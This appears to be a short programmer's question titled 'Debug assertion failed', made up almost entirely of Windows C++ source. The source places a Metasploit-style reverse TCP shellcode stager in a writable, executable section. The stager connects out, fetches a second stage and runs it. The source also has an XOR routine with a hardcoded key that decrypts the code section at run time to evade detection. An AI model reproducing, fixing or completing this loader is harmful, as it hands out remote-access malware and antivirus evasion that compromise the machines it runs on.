Debug assertion failed

#define DllImport   __declspec( dllimport )
#define DllExport   __declspec( dllexport )
#include <Windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
 
 
#pragma section(".code",execute, read, write)
#pragma section(".codedata", read, write)
#pragma comment(linker,"/MERGE:.codedata=.code")
#pragma comment(linker,"/SECTION:.code,ERW")
#pragma data_seg(".codedata")
#pragma const_seg(".codedata")
#pragma code_seg(".code")
 
 
 
 
 
extern "C" {
    
        unsigned char buf[] =
            "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
            "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
            "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
            "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
            "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
            "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
            "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
            "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
            "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
            "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
            "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
            "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
            "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31"
            "\xdb\x53\x68\x02\x00\x00\x50\x89\xe6\x6a\x10\x56\x57\x68\xc2"
            "\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53"
            "\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d"
            "\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
            "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
            "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
            "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3";
 
        
#pragma section(".stub", execute, read, write)
#pragma code_seg(".stub")
#pragma section(".stubdata", read, write)
#pragma comment(linker,"/MERGE:.stubdata=.stub")
#pragma data_seg(".stubdata")
#pragma const_seg(".stubdata")
#pragma code_seg(".stub")
 
#define CODE_BASE_ADDRESS   0x15151515 
#define CODE_SIZE           0x14141414 
    
 
    DllExport void  decryptCodeSection() 
    {
        
        long int i;
        long int nbytes;
        unsigned char *ptr;
        int keyLength = 8;
        int cpt = 0;
        BYTE  key[] = { 'a','b','a','b','a','b','a','b','\0' };
        DWORD patience;
        DWORD codeAddr;
 
        ptr = (unsigned char *)CODE_BASE_ADDRESS;
        nbytes = CODE_SIZE;
        free(decryptCodeSection);
        
        for (i = 0; i < nbytes; i++)
        {
            ptr[i] = ptr[i] ^ key[cpt];
            cpt = cpt + 1;
            if (cpt == keyLength)
                cpt = 0;
        }
 
        return;
    }
}